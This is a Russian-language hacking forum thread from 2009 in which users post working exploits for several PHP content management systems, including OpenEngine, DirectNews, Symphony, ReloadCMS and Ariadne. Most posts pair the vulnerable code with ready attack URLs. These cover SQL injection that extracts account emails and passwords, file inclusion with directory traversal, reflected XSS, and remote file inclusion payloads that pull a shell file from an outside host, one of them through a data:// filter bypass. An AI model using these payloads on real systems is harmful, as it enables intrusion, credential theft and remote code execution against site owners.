ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #251  
Старый 11.12.2009, 02:38
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: OpenEngine
Author: http://www.openengine.de/html/pages/de/index.htm
Version: 1.9.1

SQL-inj

/* нужны права администратора */
file: system/03_admin/ajax/index.php

PHP код:
$page_path_new $_POST["path"];
        
$query "SELECT * FROM ".$db_praefix."page WHERE page_path = '$page_path_new'";
        
$result mysql_query($query);
        echo 
mysql_num_rows($result); 
target: {POST} ?path=1'+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,3,40,41,42,43,44,45,46/*
 
Ответить с цитированием

MachCMS 1.0 Local File Inclusion
  #252  
Старый 11.12.2009, 15:05
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию MachCMS 1.0 Local File Inclusion

MachCMS 1.0
Web site : http://machcms.sourceforge.net
Version : 1.0
Author : Arthur Wiebe



[Local File Inclusion]

Vuln file: classes/Template.php [str:61]

PHP код:
        if (file_exists("pages/$page.page/main.php")) {
            
$template $this;
            require_once(
"pages/$page.page/main.php");
            
$this->parse();        
  } 
Exploit:
if magic_quotes = OFF

Код:
http://[host]/[path]/index.php?q=../../../../../../../../[local_file]%00
© RulleR aka Pin4eG

Последний раз редактировалось RulleR; 11.12.2009 в 15:09..
 
Ответить с цитированием

Уязвимости DirectNews
  #253  
Старый 11.12.2009, 16:11
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию Уязвимости DirectNews

Product: DirectNews
Author: http://www.direct-news.fr/
Version: 4.10


RFI

Необходимо для правильной работы RFI! register_globals = ON and allow_url_open = ON!

file: /admin/menu.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
    
$rootpath '..';
    require_once (
$rootpath .'/templates/error/HTTP_FORBIDDEN.php');
     die();
}
include_once 
$rootpath .'/library/lib.menu.php';
include_once 
$rootpath .'/modules/menu/lib/treemenu.inc.php'
target:?from_inc=1&rootpath=http://yousite.ru/shellcode.txt?

file: /admin/menu_xml.php
PHP код:
include_once $rootpath .'/library/lib.menu.php';
include_once 
$rootpath .'/modules/menu/lib/treemenu.inc.php'
target:?rootpath=http://yousite.ru/shellcode.txt?

file: /inc.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
     
$rootpath '../..';
    require_once (
'../../templates/error/HTTP_FORBIDDEN.php');
     die();
}

include_once 
$rootpath .'/modules/menu/lib/PHPLIB.php';
include_once 
$rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once 
$rootpath .'/library/lib.menu.php'
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp
target:?rootpath=ftp://userassword@yaouftp.ru/shellcode.txt?

file: /modules/menu/menu_layer.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
     
$rootpath '../..';
    require_once (
'../../templates/error/HTTP_FORBIDDEN.php');
     die();
}

include_once 
$rootpath .'/modules/menu/lib/PHPLIB.php';
include_once 
$rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once 
$rootpath .'/library/lib.menu.php'
Тут попроще.
target:?from_inc=3&rootpath=http://yousite.ru/shellcode.txt?


file: /admin/inc.php
PHP код:
i$from_inc true

header("Content-Type: text/html; charset=utf-8");

if (!
file_exists($rootpath .'/config.php')) {
    
header('Location: '$adminroot .'/install/');
    die();
}

// Compatibilite entre les versions de PHP
require_once $rootpath .'/library/lib.compatibility.php';

// gestion de session
require_once $rootpath .'/library/class.config.php';
require_once 
$rootpath .'/modules/panier/class.panier_article.php'
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp
target:?rootpath=ftp://userassword@yaouftp.ru/shellcode.txt?

Blind SQL-inj

file: /index.php
PHP код:
if (isset($_GET['lang']))
{
    
$_SESSION[DN_UID]['lg'] = $_GET['lang'];
}
else
{
    
$_SESSION[DN_UID]['lg'] = $_GET['lg'];
}

$lg $_SESSION[DN_UID]['lg'];

$requete 'SELECT code 
            FROM '
$name_table_language .
            WHERE code = "'
$lg .'" 
            AND site = "1"'
;
$resultat mysql_query($requete); 
target:В таблие 7 полей ?lang=1'+union+select+1,2,3,4,5,7/*

file: /modules/ajax/remote.php
PHP код:
if (isset($_POST['ajax']))
{
    switch (
$_POST['ajax'])
    {
        case 
'showComments' :
                            print(
showComments($_POST));
            break;
        case 
'postComment'    :
                            print(
postComment($_POST));
            break;
        default : print(
true);
            break;
    }
}
/
Функция/
function 
postComment($post)
{
    global 
$rootpath$lg$name_table_commentaires;
    
    if (!empty(
$post['noMessage']))
    {
        
$author            = !empty($post['author']) ? $post['author'] : '';
        
$email            = !empty($post['email']) ? $post['email'] : '';
        
$url            = !empty($post['url']) ? $post['url'] : '';
        
$text_comment    = !empty($post['text_comment']) ? $post['text_comment'] : '';
        
        
$tri            getSqlValue('SELECT MAX(tri) + 1 FROM '$name_table_commentaires .' WHERE noMessage = '$post['noMessage']); 
target:9 columns

Последний раз редактировалось m0Hze; 11.12.2009 в 16:19..
 
Ответить с цитированием

  #254  
Старый 11.12.2009, 19:05
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
Wink

Цитата:
Сообщение от m0Hze  
Product: OpenEngine
Author: http://www.openengine.de/html/pages/de/index.htm
Version: 1.9.1

SQL-inj

/* нужны права администратора */
file: system/03_admin/ajax/index.php

PHP код:
$page_path_new $_POST["path"];
        
$query "SELECT * FROM ".$db_praefix."page WHERE page_path = '$page_path_new'";
        
$result mysql_query($query);
        echo 
mysql_num_rows($result); 
target: {POST} ?path=1'+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35,36,37,38,3,40,41,42,43,44,45,46/*
SQL Injection

Vuln file: system/02_page/includes/admin.php [str:368]
PHP код:
$query "SELECT * FROM ".$db_praefix."page WHERE (page_path = '$page_path') AND (page_status <= ".$account_status.") $access";
$result mysql_query($query); 
Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,null,null,null,null ,null,null,null,null,null,null,concat_ws(0x3a,acco unt_email,account_password),null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null,null,null,nu ll,null,null,null,null,null,null,null+from+oe_acco unt+where+account_group=2+--+

------------------------------------------------------------------------
*вывод в title
Интересная инъекция, далее показано что еще можно из нее выжать (:

LFI

Vuln file: system/02_page/includes/lang.php [str:48]
PHP код:
$query "SELECT lang_short from ".$db_praefix."language order by lang_short";
$result mysql_query($query);
closeDB($link);
while (
$row mysql_fetch_array($result))
{
    
$lang_list .= $row["lang_short"].",";
}
if (
strlen($lang_list) > 0)
{
    
$lang_list substr($lang_list,0,strlen($lang_list)-1);
}
if (isset(
$_GET["admin"]))
{
    include(
"system/00_settings/language_packs/lang_".$lang_admin.".php");
}
else
{
    include(
"system/00_settings/language_packs/lang_".$lang_input.".php");

Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,null,'/../../../../../[local_file]%00',null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null+--+
------------------------------------------------------------------------

Чтение произвольных файлов

Vuln file: system/02_page/start.php [str:52]
PHP код:
                    $fp fopen($incurl.$page["page_include"], "r");
                    if (
$fp)
                    {
                        while(!
feof($fp))
                        {
                            
$content .= fread($fp,"10000");
                        }
                        
fclose($fp);
                    }
                                        echo 
$content
Exploit:
------------------------------------------------------------------------
http://[host]/cms/website.php?id=xek')+union+select+null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,'../../../[local_file]',null,null,null,null,null,null,null+--+
------------------------------------------------------------------------
Для успешной эксплуатации необходимо:
magic quotes = OFF

Последний раз редактировалось RulleR; 11.12.2009 в 19:08..
 
Ответить с цитированием

  #255  
Старый 11.12.2009, 19:49
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию

Цитата:
Сообщение от m0Hze  
Извини что не множно подпорчу работу твою,но LFI в том файле нет.Ну точнее есть,но оно невозможно.Ибо:
closeDB($link); - выдаст ошибку,как Ундефинид функцион и скрипт прекращает свою работу.
смотрим фаил website.php
PHP код:
define("_ISLOADED",1);
if (
file_exists("_config/config.php"))
{
    require(
"_config/config.php");    
}
else
{
    die(
"openEngine ERROR: Choose <a href='system/setup/index.php'>Installation</a> or check your current system");    
}
require(
"system/00_settings/start.php");
if (
$site_encoding != "noencoding")
{
    
header('content-type: text/html; charset='.$site_encoding);
}
require(
"system/01_user/start.php");
require(
"system/02_page/start.php");
if (
isAdmin())

    require(
"system/03_admin/start.php"); 
}
require(
"system/00_settings/end.php");
?> 
видим что инклудится фаил system/00_settings/start.php, смотрим start.php:
PHP код:
require("system/00_settings/includes/database.php");
require(
"system/00_settings/includes/settings.php"); 
смотрим database.php:
PHP код:
function closeDB($link)
{
    
mysql_close($link);

и почему closeDB() будет ундефинид функцион?

ты бы проверил на локалхосте, все прекрасно инклудится...
 
Ответить с цитированием

Symphony CMS 2.0.6 Local File Inclusion
  #256  
Старый 12.12.2009, 14:10
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию Symphony CMS 2.0.6 Local File Inclusion

Symphony CMS 2.0.6
Web site : http://symphony-cms.com
Version : 2.0.6


[Local File Inclusion]

Vuln file: index.php [str:9]
PHP код:
    function renderer($mode='frontend'){
        require_once(
CORE "/class.{$mode}.php");
        return (
$mode == 'administration' Administration::instance() : Frontend::instance());
    }
    
    
$renderer = (isset($_GET['mode']) ? strtolower($_GET['mode']) : 'frontend');
    
$output renderer($renderer)->display(getCurrentPage()); 
Exploit:
if magic_quotes = OFF
Код:
http://[host]/[path]/index.php?mode=/../../../../../../[local_file]%00
 
Ответить с цитированием

  #257  
Старый 12.12.2009, 15:30
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

BareNuked CMS v. 1.1.0
CMS = BareNuked CMS

SQL injection
url - http://localhost/index.php?term=
Exploit -
Код:
http://localhost/index.php?term=1'/**/and/**/1=0/**/union/**/all/**/select/**/0,concat(0x76657273696f6e0d0a,0x3a,version()),0,0,2,0,0,0,0,0,0,0--+&search=search
Passive XSS
search ===> "><script>alert();</script>
or
Exploit -
Код:
http://localhost/?term="><script>alert();</script>&search=search
NooMS

Passive XSS
Exploit -
Код:
http://localhost/search.php?q="><script>alert();</script>
SQL injection in admin panel
Exploit
Код:
http://localhost/admin.php?op=comments&action=listarticles&section_id=1/**/and/**/1=0/**/union/**/all/**/select/**/1,concat_ws(char(42,42,42),user(),database(),version()),3,4,5,6,7,8,9
 
Ответить с цитированием

  #258  
Старый 12.12.2009, 21:14
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: ReloadCMS
Author: http://reloadcms.com/
Version: 1.2.7

LFI

file: rss.php
PHP код:
if(!empty($_GET['m']) &&  !empty($system->config['enable_rss']) && !empty($system->feeds[$_GET['m']])){
    
$module $_GET['m'];
    
header('Content-Type: text/xml');
    
$feed = new rss_feed($system->config['title'] . ' - ' $system->feeds[$module][0], $system->url$system->feeds[$module][1], $system->config['encoding'], $system->config['language'], $system->config['copyright']);
    
$m = (!empty($system->feeds[$module][2])) ? $system->feeds[$module][2] : $module;
    if(
is_readable(MODULES_PATH $m '/rss.php')) include(MODULES_PATH $m '/rss.php'); 
target: ?m=../../config/config.ini%00
 
Ответить с цитированием

  #259  
Старый 12.12.2009, 23:27
Аватар для [x60]unu
[x60]unu
Banned
Регистрация: 07.05.2009
Сообщений: 103
Провел на форуме:
3202832

Репутация: 1588
Отправить сообщение для [x60]unu с помощью ICQ
По умолчанию

Product: PicoFlatCMS
Version: 0.6.1
Exploit:
Код:
http://localhost/index.php?pagina=[file]
 
Ответить с цитированием

  #260  
Старый 12.12.2009, 23:54
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: Ariadne CMS
Author: http://www.ariadne-cms.org/
Version: 2.6.1
RFI

Need: register_globals = ON and allow_url_include = ON

file: /winges/tree/root.php
PHP код:
  if (!isset($layout) || (!$layout)) {
    
$layout="./frames.js";
  } else {
    
$layout=ereg_replace("[\./\\]","",$layout).".js";
  }
  include(
$layout); 
По сути есть фильтр,но Ctacok научил юзать data://, поэтому обход прост.
target: ?layout=data:,<?php include $_GET[hello] ?>&hello=http://yousite.com/shell.txt?

Последний раз редактировалось m0Hze; 13.12.2009 в 00:16..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ